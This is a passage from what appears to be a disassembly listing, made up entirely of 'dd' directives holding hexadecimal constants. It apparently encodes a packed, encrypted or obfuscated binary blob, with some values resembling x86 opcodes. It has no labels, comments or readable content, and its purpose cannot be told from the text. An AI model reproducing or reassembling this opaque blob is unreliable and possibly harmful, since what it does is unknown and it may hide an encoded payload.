7BF8BA75h, 0FD03193Dh, 0E5FD1B81h, 0B577795Bh, 9BDEB785h dd 3D13C92Fh, 6325795Bh, 0DD69FECFh, 58ECEAB7h, 36A2C396h dd 65774D12h, 8C2024C2h, 0F627167Ch, 8F517373h, 1D83E303h dd 7323EDFFh, 0D23B779h, 2F911AD7h, 0AF1B380Bh, 85529A49h dd 0B5DA9CBDh, 0B5214215h, 655F2F55h, 65A1BBD1h, 1C3BA59h dd 0DE0D7195h, 2C619623h, 573F645Ah, 274D5DF1h, 2BF15757h dd 4DAA41A8h, 0A4A8258Bh, 996CDAD4h, 656D6CBEh, 186D38Ah dd 8A5B0000h, 45131794h, 0FAC6CA47h, 0A5777BF8h, 612E32AFh dd 0B7E3E663h, 0FE7B7946h, 0B4312BFAh, 66E3E5B0h, 1B989262h dd 0D9FF65F5h, 5B795833h, 80A61388h, 4B21B5B3h, 0BC5C817Bh dd 333500E9h, 54C0260Eh, 2CEF4h, 595B27DBh, 0AE495FF3h dd 1C755BBAh, 8A8656BCh, 0EF3A795Bh, 1E1703ADh, 0E97D3FF7h dd 4F4ECB8Dh, 8BA87B15h, 2E2CF91Fh, 7D8D2109h, 73FA2017h dd 0F9C45273h, 0DF0591F7h, 2A366D99h, 1581A275h, 0C3C18FB5h dd 0C22B69Eh, 0B018C9C5h, 0B8BA85ABh, 0E106C824h, 0D9456E41h dd 35EE1973h, 4DB97BBEh, 0F15D5727h, 3FDEA7CDh, 664E7371h dd 0D08EF436h, 47171B3Ch, 5026DF4Dh, 0F3CE69C8h, 0BF3Ch dd 0CDC39400h, 807E4C50h, 3133FF03h, 0E8DEB0B4h, 9C9A676Bh dd 7F4E1C1Fh, 3337B4B2h, 0E9ED6A64h, 9B9F1C1Eh, 2E54D1CBh dd 32E0389Eh, 0C1947958h, 4A10E04Ch, 0F2177D7Fh, 4B0FDE04h dd 9EF886ECh, 2349A7Eh, 270F3436h, 0D5FED193h, 4D480369h dd 1236755Bh, 1850A722h, 0A0FC9074h, 9E7161DEh, 0B3A30975h dd 0C1737727h, 8CECDAFFh, 273DF626h, 2CC08273h, 0F8C8656h dd 1C413B0Bh, 0F8051E28h, 1719E4C2h, 756F3EF2h, 50096B50h dd 0DC63E96h, 40BDB787h, 4D726C3Ch, 0ACD1C799h, 48163CE0h dd 0B3D254Ah, 0AAAA3E40h, 0A19B6BF1h, 42440F35h, 80A1351Dh dd 8DB2AC7Ch, 3D6h, 3A87DD00h, 0F4190FE0h, 51767040h, 0ABD0D29Dh dd 92E28F7h, 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch dd 0D4F9F7C5h, 0E38953FFh, 4C381h, 0EB830000h, 241C8704h dd 2414895Ch, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h dd 2378h, 52241489h, 0E85918BAh, 0B3E2813Eh, 570F6649h dd 0F015B1BFh, 0F7474F12h, 44C781D7h, 0C17DCE25h, 0EF8108EFh dd 98FE6C16h, 815FFA09h, 40E359EAh, 5AD38969h, 24148B54h dd 4C481h, 55500000h, 26022EBDh, 4E5C15Fh, 67F5814Dh, 8137864Bh dd 0E46524C5h, 2CC5812Bh, 890E3531h, 0D0015DE8h, 0FF581889h dd 835A2434h, 1C8B04C4h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 0DCFFE95Ch, 0CDFAFFFCh, 3B65CAB3h, 30B84BB0h dd 3062BA2h, 0A8E0FFC5h, 526690D6h, 7B795A63h, 0DF1BA394h dd 0E119A215h, 4655D297h, 8673BD7Ah, 7455ABCDh, 0C775B37Fh dd 7B3CF7D2h, 7222F955h, 0F5699B8h, 8E6DD140h, 60140A88h dd 0E8218243h, 0Eh, 0F5244BBFh, 47220A5Ch, 85110F9Bh, 0F680A78Ch dd 0CB8159B5h, 7CC8069Bh, 604CC181h, 0F570000h, 48Ah, 6BB6600h dd 0E3685F76h, 0E9000017h, 8, 5AF32EEDh, 579D3BF0h, 0FF4EB65Eh dd 0E8815831h, 61D887Fh, 0B671DB81h, 0E8817E94h, 2E3CABFDh dd 8D59CF81h, 0E8810410h, 208BC9D9h, 0E850FA8Bh, 0Dh, 364DE6C4h dd 25C1EB80h, 2B235447h, 0DEBF0FAFh, 66018F5Ah, 810BA9BAh dd 0A0B2E2E9h, 5870F4Fh, 0BF000000h, 21B9709Ch, 0B2DEC181h dd 60564FA0h, 6893B866h, 5B615F52h, 0F01EE83h, 1185h, 7C02BF00h dd 11E96896h, 52000000h, 0BEE167EDh, 80E97610h, 18FFFFFFh dd 9CD20DADh, 39EBh, 2CC00C1h, 2E400C1h, 0C1h, 0A9870000h dd 0A5BE4784h, 0AD95769Dh, 0A909228Ch, 0EE524F87h, 0C0F34E8Dh dd 8C8B76A7h, 0B4A922A5h, 0AE9652A6h, 0A58B4ABDh, 0A0FC4688h dd 0C014E262h, 0C03CCABCh, 9DBF22E9h, 0AC467F2Ah, 846626CDh dd 0C0EE26CDh, 95BC22E9h, 59687E2Ah, 0CD37B3C0h, 4BB1B55Fh dd 0E89E0764h, 2519A2EFh, 0C1AE9F6Ah, 0B5F324C1h, 544A1E0h dd 0C0FA0AFDh, 932E3B9Dh, 7987E262h, 499F22EDh, 0E8CDB36Ch dd 9E7AAFEFh, 3FF5084Ch, 43A1793Ah, 0E8E8E754h, 0D70A22EFh dd 798771B9h, 499F22EDh, 0E8CDB36Ch, 8D7AAFEFh, 3FF5084Bh dd 0AAA1793Ah, 0C31473E9h, 0E07E22E9h, 4966E1B0h, 419B06A5h dd 0D8CB06ADh, 81E722E9h, 0F081E1B8h, 35FF6FDFh, 0EE89B760h dd 0F524C1h, 286E2283h, 0C09F22EAh, 990C7BC9h, 0C4C36E60h dd 0C4D76668h, 0C0F922F4h, 0BB3F73A8h, 0DE302889h, 6C65158Ch dd 4559DAAFh, 0C6E72FCCh, 92E748BFh, 0C0F32101h, 3A302E9h dd 0E4A8ABB3h, 0E43AA3EDh, 0C03F3AEDh, 3CD60E9h, 6E018F02h dd 0C26B2D54h, 4BF322E9h, 9D154A1Ah, 0E04E4547h, 0A65A2668h dd 0CF0BD8B3h, 0C09F2760h, 264E44E9h, 7518B40Dh, 0C6DB36E4h dd 0CB10EC63h, 0E6FC22E9h, 301BF3FBh, 2D838335h, 451233C8h dd 0C6E44DB1h, 0EDD6AFC0h, 100C24C1h, 28AB2283h, 0C0FC22EAh dd 9ABD78C9h, 0C41B7660h, 0C4BB6668h, 0C0CF22F4h, 0B72470ABh dd 0C222DB00h, 4D204B20h, 2F7D449Eh, 0C4148F0Dh, 286A2283h dd 0C09F22EAh, 9D0C7FC9h, 0C4C34E60h, 0C4D76668h, 0C0F922FEh dd 673F77ACh, 0A895C78Ah, 15A6F84Fh, 0C09F3601h, 88E142E9h dd 4D415FC5h, 3F4AD467h, 3102842Ah, 0FDF6DBC9h, 0B86A9D22h dd 41651FB5h, 0F5C506EDh, 0E7D088Fh, 25260881h, 0C0F9CBFFh dd 0F45322E9h, 0E0FDC439h, 2F63F8C0h, 61B1668h, 4B89C72Ah dd 0E8C9F354h, 0E9E748EFh, 0E8D7C764h, 0AA29DDEFh, 0C31477E9h dd 0E07E22E9h, 4962E1B4h, 419B0685h, 0D9CB06ADh, 85E722E9h dd 0E8CFE1BCh, 40AF9B46h, 630DA760h dd 0C01424C2h, 0C03CCAB8h, 99BF22E9h, 8C467B2Ah, 846626CDh dd 0C0E926CDh, 91B822E9h, 874F9A2Ah, 4464462Bh, 0E442AFE2h dd 381424C1h, 0C0CDEEECh, 3562ABE9h, 43F5094Ah, 45703A29h dd 0C6D78110h, 2CC7E2DAh, 333F22EBh, 0C08FCB43h, 19F622E9h dd 0B9C75394h, 3BAB1F30h, 43EB1A5Ah, 419A42DBh, 6A77920h dd 0E832076Ch, 751461EFh, 0C6E703DCh, 1C3D2281h, 0BD4A444Eh dd 0E4CDA34Dh, 0FB4793B7h, 0C2BF97EAh, 75C024C1h, 0C6B736E4h dd 0EC26AFD8h, 756E24C1h, 0C6DB2D50h, 0AFA1A764h, 0C09624C2h dd 0C07DCABCh, 9D1F22E9h, 0AC167F2Ah, 844E26CDh, 0C0FB26CDh dd 95B622E9h, 0F798422Ah, 49F0FB5Fh, 0D1977142h, 423F22E9h dd 3F1A60CDh, 401721D6h, 621C1BD4h, 0AF40E2B4h, 41741311h dd 3FFA0ACFh, 0B1CB1139h, 49390AF8h, 0E89D476Ch, 0AD7AA9EFh dd 4DE10ACDh, 0E8DF636Ch, 95F948EFh, 0C0FC2101h, 32302E9h dd 0E453ABB4h, 0E4DBA3EDh, 0C0CF38EDh, 3B267E9h, 0B4555059h dd 49C7C44Eh, 0E8D8136Ch, 967E48EFh, 0C03F2101h, 3C102E9h dd 0E4BBABB7h, 0E4A3A3EDh, 0C0F338EDh, 3AF64E9h, 21BE0A10h dd 417BF7BAh, 7515802Eh, 0E51AE488h, 93C90AE4h, 0CDFEB760h dd 419524C1h, 0A80DCE08h, 673A14F6h, 41A8A98Fh, 0D28606EDh dd 75147602h, 0C6E726D4h, 0D4EA9716h, 757824C1h, 0C6D1207Ch dd 0AFA4A764h, 0C01424C2h, 0C03CCAB8h, 99BF22E9h, 8C467B2Ah dd 846626CDh, 0C0E426CDh, 91B822E9h, 0C0EA9C2Ah, 0A6AEDD51h dd 496BCA53h, 0E89B476Ch, 97CF48EFh, 0C0E72101h, 3AC02E9h dd 0E485ABB6h, 0E4B8A3EDh, 0C07E36EDh, 36865E9h, 9922AB7Ch dd 0CFC90AC0h, 0C0E72E67h, 0C6792DE9h, 4BF922E9h, 0E8F15754h dd 0E5FBE4EFh, 93390AE4h, 0A256A38Fh, 77394AEAh, 0C70EF8A0h dd 0CAF322E9h, 0EBA25891h, 0F47D454Eh, 910D67CDh, 903F48EBh dd 0C09F2101h, 39702E9h, 0E4A3ABB1h, 0E4B7A3EDh, 0C0F934EDh dd 3AC62E9h, 0CFC29589h, 75C0F25Eh, 0C6B736E4h, 289D2283h dd 0C0E722EAh, 9A3078C9h, 0C4DD7660h, 0C4D86668h, 0C07E22FCh dd 0ABFC70ABh, 9648A95Fh, 0DFF29762h, 4DBE24C1h, 0EB9C7A6Ch dd 510EA3EFh, 3FD89199h, 957E4839h, 0C03F2101h, 3C202E9h dd 0E4A3ABB4h, 0E4A3A3EDh, 0C0F33AEDh, 3AC67E9h, 63D23FFAh dd 5C30B52h, 49390AE4h, 0E891B76Ch, 97CF48EFh, 0C0E72101h dd 3AC02E9h, 0E485ABB6h, 0E4B8A3EDh, 0C07E34EDh, 36865E9h dd 4B5D4DDAh, 0E8C82354h, 0E562E4EFh, 87F50AE4h, 0C4009F62h dd 7D7524C1h, 0C65604A0h, 0C03F2601h, 1E428BE9h, 0C2432D5Eh dd 4AE722E9h, 49FC7202h, 0C0F922E3h, 574A70B9h, 9A2D13E6h dd 84B47AB3h, 311426CDh, 43C02262h, 0C0E722EDh, 0C729B8Fh dd 0C4DD6660h, 9811AB53h, 0C0147AFEh, 0C03CCAB9h, 98BF22E9h dd 84467A2Ah, 846626CDh, 0C0EA26CDh, 90B922E9h, 0B91A1A2Ah dd 7FB8561Eh, 95D6072Eh, 0D4929716h, 0C0A524C1h, 0C0E4CABAh dd 9BD322E9h, 9C70792Ah, 847D26CDh, 0C06526CDh, 937C22E9h dd 2CC0CC2Ah, 9D49B315h, 0C0E8CB35h, 13422E9h, 526AA380h dd 1DA69C22h, 364AA270h, 98BAAF3Eh, 0A0990986h, 0EFCEAF60h dd 7A8124C1h, 3F92FDECh, 93F94839h, 0C0FC2101h, 32502E9h dd 0E463ABB2h, 0E4DBA3EDh, 0C0CF3FEDh, 3B461E9h, 8C01F3A0h dd 5167266Ah, 4DD5BF39h, 0C6563394h, 0C24EA760h, 7D1624C1h dd 0C6E70064h, 0CDC2A72Fh, 0CFB424C1h, 0C0F92E67h, 0C6762DE9h dd 4B7E22E9h, 0E829DB7Ch, 290A0BEFh, 0A8C90AC5h, 0F421A5F1h dd 0C0F4CB89h, 0FA2F22E9h, 5580B3DBh, 0C076CBC6h, 3E1822E9h dd 8E90F9Ch, 41AE99BEh, 498506EDh, 0C0996FFCh, 0C0FACABAh dd 9BDC22E9h, 9CF7792Ah, 84BE26CDh, 0C08B26CDh, 938C22E9h dd 756EBE2Ah, 0C6DB3FB0h, 7506DC62h, 0C6D436E4h, 282E2283h dd 0C03F22EAh, 985C7AC9h, 0C4EB6660h, 0C4C36668h, 0C0F322F4h dd 643A72A9h, 2D4349B5h, 32818DBh, 1182AB46h, 4D990AF0h dd 0EBA07A6Ch, 0C56D2DEFh, 7EF322E9h, 0AD6A92C2h, 0C096F216h dd 0C07DCAB8h, 991F22E9h, 8C167B2Ah, 844E26CDh, 0C0FC26CDh dd 91B222E9h, 5E4AE32Ah, 7028BE6Fh, 0C1FBAB23h, 49390AEBh dd 0E8926F7Ch, 0E54AE4EFh, 87E10AE4h, 28A12283h, 0C0F922EAh dd 9A3F78C9h, 0C45A7660h, 0C41B6668h, 0C09F22F5h, 2F0C70ABh dd 1109D787h, 61020840h, 0BBC5B181h, 0C0F7CB06h, 9D7322E9h dd 0C48E1C38h, 22876D4Dh, 0E4FBA3DAh, 85512227h, 28A62283h dd 0C0F922EAh, 9D3F7FC9h, 0C45A4E60h, 0C41B6668h, 0C09F22F4h dd 860C77ACh, 0F4BCCFF7h, 0EEEB69CAh, 2AF79819h, 217D3EC0h dd 0E7B52994h, 0D4329716h, 0C0F524C1h, 0C0CCCABFh, 9EC722E9h dd 0B47A7C2Ah, 847826CDh, 0C0E026CDh, 963822E9h, 25A9DD2Ah dd 0D8F4C509h, 4BAF5EA7h, 0E8E15374h, 419542EFh, 0F18AAE03h dd 0E8D8C77Ch, 4B1F43EFh, 0E8214F5Ch, 2468A3EFh, 4DAC70CCh dd 0EB887A6Ch, 0A54EABEFh, 3FFF0AE0h, 96FC4839h, 0C07E2101h dd 36102E9h, 0E4EBABB7h, 0E48BA3EDh, 0C0E735EDh, 3A564E9h dd 3499E733h, 0E355A760h, 0C01424C1h, 0C03CCABAh, 9BBF22E9h dd 9C46792Ah, 846626CDh, 0C0E626CDh, 93BA22E9h, 3F8AB22Ah dd 977E4839h, 0C03F2101h, 3C002E9h, 0E4B3ABB6h, 0E4A3A3EDh dd 0C0F33BEDh, 3AE65E9h, 96480D2Dh, 498B3BBCh, 0E814476Ch dd 919F48EFh, 0C0CF2101h, 3BE02E9h, 0E4BFABB0h, 0E4BDA3EDh dd 0C0FC38EDh, 32F63E9h, 0DB127AB6h, 91E75886h, 4CA97B11h dd 96E74831h, 0C0F32101h, 3A702E9h, 0E488ABB7h, 0E43AA3EDh dd 0C03F37EDh, 3C964E9h, 75441886h, 0C6CF347Ch, 0C4D7DA62h dd 28A82283h, 0C0FC22EAh, 99BD7BC9h, 0C41B6E60h, 0C4BB6668h dd 0C0CF22F5h, 0CE2473A8h, 4FF4C72Eh, 0B6C47513h, 0F2DDBF60h dd 7424C1h, 0C3F6A6E6h, 0D37722E9h, 5CCF22E9h, 0D2BE5495h dd 1F1594D3h, 0F7743B4Bh, 0BAD2801Bh, 75F57DD8h, 0C6173D4Ch dd 0E51AE4B3h, 8FC90AE4h, 28B22283h, 0C0F322EAh, 9D3A7FC9h dd 0C4D84E60h, 0C45A6668h, 0C03F22F4h, 355C77ACh, 5C6C0BC2h dd 2D485EAAh, 0F0364A0Bh, 0CFAA4818h, 0C0FC2263h, 0C4FF7DE9h dd 4F04DDCDh, 929F48BDh, 0C0CF2101h, 3BD02E9h, 0E4A7ABB3h dd 0E4BDA3EDh, 0C0FC38EDh, 32C60E9h, 1A946826h, 498BBD1Eh dd 0E8D9BF74h, 0E17209EFh, 3FF50AE9h, 0E8ED2F5Ch, 93FC48EFh dd 0C07E2101h, 36402E9h, 0E4C3ABB2h, 0E48BA3EDh, 0C0E737EDh dd 3A061E9h, 557243EEh, 0C6D43354h, 0AF26A764h, 7DB424C2h dd 0C6B727A8h, 0C0A5F216h, 0C0E4CAB8h, 99D322E9h, 8C707B2Ah dd 847D26CDh, 0C06326CDh, 917E22E9h, 9F4A6F2Ah, 0D9B56424h dd 91444C9Ch, 0C0F32D01h, 0D25260E9h, 7EE8AF4Dh, 7648D904h dd 2C5B5EA3h, 1C7CB6h, 97CF48CDh, 0C0E72101h, 3AC02E9h dd 0E485ABB6h, 0E4B8A3EDh, 0C07E35EDh, 36865E9h, 7B3D43ECh dd 0DFC6AF60h, 7D6E24C1h, 0C6DB3634h, 0D794A760h, 757724C1h dd 0C6562320h, 0EB5AA762h, 0C0F524C1h, 0C0CCCABBh, 9AC722E9h dd 947A782Ah, 847826CDh, 0C0E926CDh, 923C22E9h, 0CF270E2Ah dd 0C09F266Ch, 817544E9h, 697AA9CEh, 0AAF50ACAh, 0C31174E9h dd 0E0FC22E9h, 4920E1B7h, 413B069Dh, 0DD9B06ADh, 86CF22E9h dd 3589E1BFh, 0EA5AF307h, 0C3468318h, 0C0FC2900h, 61019CE9h dd 0E13E6B94h, 49BE1774h, 96CF48AAh, 0C0E72101h, 3AD02E9h dd 0E48DABB7h, 0E4B8A3EDh dd 0C07E37EDh, 36964E9h, 751400EDh, 0C6E70D48h, 7D6E3962h dd 0C6DB3384h, 0E494B760h, 0DB7724C1h, 4B849DE6h, 913F48F2h dd 0C09F2101h, 39602E9h, 0E4ABABB0h, 0E4B7A3EDh, 0C0F93AEDh dd 3AD63E9h, 9B1E106Ah, 2DBA0B50h, 0F3990ACAh, 95CF4831h dd 0C0E72101h, 3AE02E9h, 0E495ABB4h, 0E4B8A3EDh, 0C07E3AEDh dd 36A67E9h, 94CC8833h, 289E4266h, 0C0E722EFh, 95C6CBE2h dd 98A2432Fh, 5D754311h, 0C6560FECh, 286E2283h, 0C09F22EAh dd 990C7BC9h, 0C4C36E60h, 0C4D76668h, 0C0F922F2h, 0D3F73A8h dd 8527813Dh, 69C2352h, 0E892076Ch, 454665EFh, 0C6CF2E28h dd 934944B8h, 74917C90h, 7158E09Ah, 0E47AA312h, 0D3234B1Ch dd 28CA2283h, 0C0CF22EAh, 9D247FC9h, 0C4D74E60h, 0C4DD6668h dd 0C0FC22F5h, 45BD77ACh, 0E136E6B8h, 9903C3FCh, 491D95E6h dd 0E8F5F37Ch, 0CD46DDEFh, 49FF0AFDh, 0E8D32B5Ch, 98FBAFEFh dd 28390986h, 0C09F22FDh, 35CF2BECh, 0F2D6F509h, 9E38D07Fh dd 8BA2F85Eh, 6869D539h, 0C2EBAFC2h, 3F6524C1h, 45BC4239h dd 0C6E7042Ch, 0C0E73300h, 43FC9FE9h, 57147B0h, 64BF26BFh dd 9C845075h, 925EF988h, 0C09F2C01h, 2C52CCE9h, 0AC51E2D3h dd 89ECFBD2h, 0CF27903Ah, 9FA2D15Eh, 0C20FA760h, 0C05524C1h dd 0C09CCAB9h, 98EF22E9h, 846E7A2Ah, 847226CDh, 0C0E226CDh dd 90BC22E9h, 4ED6212Ah, 267C5C42h, 8F71A3ABh, 4B97A0E5h dd 0E8E3D364h, 757A62EFh, 0C6D134A0h, 0C0962262h, 0C07DCABCh dd 9D1F22E9h, 0AC167F2Ah, 844E26CDh, 0C0F026CDh, 95B622E9h dd 73A9522Ah, 8561AB16h, 49780AC9h, 0E8160774h, 0A69FA9EFh dd 496BF157h, 0E8F1736Ch, 95F348EFh, 0C0F92101h, 3A102E9h dd 0E412ABB4h, 0E47BA3EDh, 0C09F36EDh, 39A67E9h, 0F6C44CBh dd 0C176BF60h, 0D91024C1h, 0A0FC22E8h, 0C078A4E6h, 433022E9h dd 0C09F22E9h, 0ECF2AF62h, 4D8624C1h, 0EB57356Ch, 0ED44A9EFh dd 90FA0ACEh, 3F5A2660h, 0E80CF37Ch, 959F48EFh, 0C0CF2101h dd 3BA02E9h, 0E49FABB4h, 0E4BDA3EDh, 0C0FC3BEDh, 32B67E9h dd 2F724B0Ch, 29FF5384h, 0C0CF22FDh, 6E3555D7h, 2B0A5170h dd 0CDF0EAE1h, 0BCA39C1Fh, 24782642h, 0C03F3001h, 0AC43EFE9h dd 1A4E5C10h, 0E4ECF4ECh, 9AFF565Ch, 4B1EE41Ah, 729D7917h dd 0DDE3AF22h, 2939094Dh, 0C09F22ECh, 7003452Bh, 92B7B15Bh dd 92A313E6h, 0C0F92B00h, 80EB5DE9h, 8F0AAC32h, 0F130D001h dd 98C5F262h, 979F7AB3h, 0C0E73200h, 0EA9730E9h, 7FD6887h dd 0A9337F22h, 211F80BEh, 7EAC7DD9h, 9A6DA34Fh, 0FB704479h dd 47E87262h, 0C0F322E9h, 4B9F7179h, 55037D17h, 0C6560EC8h dd 0A98AA910h, 49990AEFh, 0E8D84F6Ch, 97E748EFh, 0C0F32101h dd 3A602E9h, 0E480ABB6h, 0E43AA3EDh, 0C03F39EDh, 3C865E9h dd 805F4D78h, 9B55DC33h, 0DA759D8Fh, 0CDDCA72Fh, 0CFAF24C1h dd 4E16D156h, 280BD6D4h, 0C09F22FAh, 94CDD90h, 0CFCA2641h dd 18E7359Ah, 6C992F92h, 4BFC66CDh, 0C4FF7D22h, 5379D3CDh dd 979F489Ch, 0C0CF2101h, 3B802E9h, 0E48FABB6h, 0E4BDA3EDh dd 0C0FC39EDh, 32965E9h, 8D0000Bh, 9128798Fh, 0C7BEBF60h dd 751824C1h, 0C6DB36E4h, 0C0F93200h, 155132E9h, 0E088F556h dd 145401FDh, 0C96DB98h, 984AAFFBh, 0CBE10986h, 0E8F0975Ch dd 4B29DDEFh, 0E8EE8F54h, 11FBABEFh, 0AA390AC5h, 0C37773E9h dd 0E0CF22E9h, 49BEE1B0h, 41F706A5h, 0DAFD06ADh, 81FC22E9h dd 6844E1B8h, 219604B6h, 0A11AAB81h, 6C90AEFh, 0E8EA076Ch dd 0C09965EFh, 0C0FACABAh, 9BDC22E9h, 9CF7792Ah, 84BE26CDh dd 0C08726CDh, 938C22E9h, 2B3F062Ah, 3346A090h, 0C0F92601h dd 0B2E9B2E9h, 90079448h, 0C03F2E00h, 0A548E6E9h, 4100474Fh dd 4BF4250h, 0E4B7A94Fh, 28F9A9EDh, 0C0FC22E5h, 78FAD1E9h dd 7EE160D6h, 4C8D811Eh, 0C0CDA2E6h, 0A18722E9h, 0E4B7ABB6h dd 0C0F3CBEDh, 428922E9h, 0D141BF3Ah, 0E42958BCh, 939F48B1h dd 0C0CF2101h, 3BC02E9h, 0E4AFABB2h, 0E4BDA3EDh, 0C0FC3FEDh dd 32D61E9h, 798EAFF2h, 3CEAD5D9h, 4B98CF21h, 75187C1Bh dd 0C6DB36E4h, 0C0F8A6E6h, 4D0922E9h, 0EB117A6Ch, 913F48EFh dd 0C09F2101h, 39602E9h, 0E4ABABB0h, 0E4B7A3EDh, 0C0F939EDh dd 3AD63E9h, 0D55AC9DCh, 0FB2DE29Fh, 0C0F5F216h, 0C0CCCAB8h dd 99C722E9h, 8C7A7B2Ah, 847826CDh, 0C0E826CDh, 913F22E9h dd 45B61B2Ah, 0C6B702F0h, 289E2283h, 0C0E722EAh, 99307BC9h dd 0C4DD6E60h, 0C4D86668h, 0C07E22F3h, 48FC73A8h, 0F84982EFh dd 0C7114B6h, 79FD70B0h, 0AC8852C4h, 0CDDCA72Fh, 0C1AF24C1h dd 0E85A0F74h, 0C03BCAEFh, 9F0F22E9h, 4CC0BBD0h, 0C0E722EBh dd 90A3545Fh, 0C0F4CABBh, 0FBC022E9h, 585BDA60h, 0BBF32203h dd 0A6238F68h, 0CF96ED62h, 28B572D8h, 0C0F322FAh, 0D52393D5h dd 8B8C8EA5h, 0BF59EFEh, 0B36DB218h, 9FEBE2E1h, 4BC013E6h dd 0C0E722E9h, 98A97AB3h, 0C4DD6662h, 0C077CA63h, 27F09C8Fh dd 0C41B6660h, 909F48B1h, 0C0CF2101h, 3BF02E9h, 0E4B7ABB1h dd 0E4BDA3EDh, 0C0FC36EDh, 32E62E9h, 2381443Ch, 0CD2ADDF1h dd 93C90AFDh, 9931A98Fh, 67707257h, 987CAFE1h, 0A6FA0986h dd 0DA9C368h, 0C055F216h, 0C09CCABFh, 9EEF22E9h, 0B46E7C2Ah dd 847226CDh, 0C0E526CDh, 96BA22E9h, 0E3A7052Ah, 6695FDB7h dd 40FF7BD5h, 0A136962Dh, 0D43EA760h, 0C09924C1h, 0C0FACAB9h dd 98DC22E9h, 84F77A2Ah, 84BE26CDh, 0C08426CDh, 908F22E9h dd 13ECA12Ah, 4A402F1Dh, 0E944A927h, 6FA0AE0h, 0E873076Ch dd 7DB475EFh, 0C6B7038Ch, 0FAE3D081h, 41039371h, 0BE0706DDh dd 55F82AD7h, 0C6D4092Ch, 0D4739716h, 0C05524C1h, 0C09CCAB8h dd 99EF22E9h, 8C6E7B2Ah, 847226CDh, 0C0E326CDh, 91BD22E9h dd 4E5D2B2Ah, 0A1CC69C5h, 0AFC7A764h, 46C024C2h, 0C0E722FFh dd 0C0F33300h, 78865DE9h, 1FF3EB19h, 40699DFCh, 8292352Bh dd 1060501Dh, 289C2283h, 0C0E722EAh, 9B3079C9h, 0C4DD7E60h dd 0C4D86668h, 0C07E22F4h, 0C6FC71AAh, 49FBE53Eh, 0ADA9D03Ah dd 162ABABh, 28F50AC4h, 0C0F922EFh, 0EA4CD6F1h, 4B1E05CBh dd 28614333h, 0C09F22E5h, 8E624933h, 275E6C16h, 0D7E5D13h dd 0C0762DBBh, 9FFC22E9h, 0E5FBE4B6h, 83390AE4h, 28C82283h dd 0C0CF22EAh, 9F247DC9h, 0C4D75E60h, 0C4DD6668h, 0C0FC22F5h dd 0B9BD75AEh, 74452168h, 33E6FDAh, 0C0CF2F00h, 2A8ABCE9h dd 74CDA86Ah, 0BB1DE5BEh, 0AD94A850h, 410ACE83h, 0C58406EDh dd 0C0F5654Dh, 0C0CCCABAh, 9BC722E9h, 9C7A792Ah, 847826CDh dd 0C0E526CDh, 933D22E9h, 0C24D362Ah, 40E8C585h, 7530EA27h dd 0C6CF36E4h, 28A52283h, 0C0F922EAh, 9E3F7CC9h, 0C45A5660h dd 0C41B6668h, 0C09F22FCh, 0B00C74AFh, 415AA9D3h, 4DF50AE6h dd 0EB967A6Ch, 7971A9EFh, 3F780AC8h, 913F4839h, 0C09F2101h dd 39602E9h, 0E4ABABB0h, 0E4B7A3EDh, 0C0F938EDh, 3AD63E9h dd 3FD5D704h, 97FD912Ch, 0F1F76757h, 0C99E7BE8h, 0E8F9B774h dd 457A7BEFh, 0C6D101A0h, 28AF2283h, 0C07E22EAh, 9BFC79C9h dd 0C4BB7E60h, 0C4EB6668h, 0C0E722F1h, 223071AAh, 1125A258h dd 64F1A764h, 0C01424C2h, 0C03CCABBh, 9ABF22E9h, 9446782Ah dd 846626CDh, 0C0E826CDh, 92BB22E9h, 0A74A62Ah, 525225C5h dd 7E59B2D7h, 0A6CF6678h, 0AA5FD862h, 0C30F77E9h, 0E0F322E9h dd 49A4E1B4h, 41F80685h dd 0D97A06ADh, 853F22E9h, 41DBE1BCh, 98248BC9h, 0F849988Fh dd 6A449C8Fh, 0F328B716h, 557524C1h, 0C6563DE4h, 0C055FA62h dd 0C09CCABAh, 9BEF22E9h, 9C6E792Ah, 847226CDh, 0C0E126CDh dd 93BF22E9h, 1833EA2Ah, 7E59B2F3h, 4512D33Fh, 0C6E486E8h dd 0C0E72E01h, 2ACDEAE9h, 156F0D9Fh, 5EC77903h, 1DB9D77h dd 0CF650542h, 29CFF056h, 0C0CF22F9h, 0EE33C002h, 0AAC8E55Dh dd 8BA7951Bh, 9402867Ch, 0AA5A2660h, 0C3D771E9h, 0E09F22E9h dd 4994E1B2h, 41E306B5h, 0DAF706ADh, 83F922E9h, 0CE67E1BAh dd 0A507362Fh, 0FD8AA901h, 53990AE1h, 0DFC49D8Fh, 386C44B9h dd 0DD4EA97Ah, 3FFF0AF1h, 0E8D0037Ch, 907E48EFh, 0C03F2101h dd 3C702E9h, 0E48BABB1h, 0E4A3A3EDh, 0C0F336EDh, 3A962E9h dd 0C815DBD5h, 3C7E22E9h, 6A6B9237h, 4966C124h, 0E8CCDF6Ch dd 0A502DEFh, 0CD32A72Eh, 0C0F624C1h, 0C09622E9h, 0C07DCAB9h dd 981F22E9h, 84167A2Ah, 844E26CDh, 0C0FE26CDh, 90B322E9h dd 6459A62Ah, 4B483032h, 3DEBDD1Eh, 4B390AEAh, 0F90AAB38h dd 49C90AC9h, 0E8C4F36Ch, 0C0FDCBEFh, 0BF3922E9h, 5AA50CDAh dd 1122687Fh, 5785D5E6h, 0C2FAA762h, 5D4224C1h, 0C6CC9554h dd 4DF26160h, 0E8D56354h, 5749AFEFh, 7978095Eh, 0C03F22DAh dd 0F374861Ah, 0C0CF2251h, 0B42729E9h, 0C0EBE0EAh, 0CCDD6662h dd 0C0FCCABAh, 412522E9h, 0C03F352Ah, 0E4C3ABE9h, 0E48BABF9h dd 0F75F79FDh, 3FF38349h, 0E4BDA909h, 0AA1CDDEDh, 0C39670E9h dd 0E03F22E9h, 49C5E1B3h, 41CB06BDh, 0D6E306ADh, 82F322E9h dd 195AE1BBh, 0C0F9CB5Eh, 1FCD22E9h, 0AAA74DC0h, 0C37774E9h dd 0E0CF22E9h, 49B9E1B7h, 41F7069Dh, 0DBFD06ADh, 86FC22E9h dd 8277E1BFh, 0D1F449D1h, 7221AFA0h, 0A1C7B3C2h, 28B12283h dd 0C0F322EAh, 9E3A7CC9h, 0C4D85660h, 0C45A6668h, 0C03F22FEh dd 615C74AFh, 91FD74A2h, 716AAB89h, 0A1F50ADAh, 0C144AFB7h dd 4DFA094Dh, 0EBC64264h, 6B0A9AEFh, 45ACBACFh, 0C6E73DE8h dd 62A0EDC2h, 0BCC014E2h, 0E9C03CCAh, 2A9DBF22h, 0CDAC467Fh dd 0CD846626h, 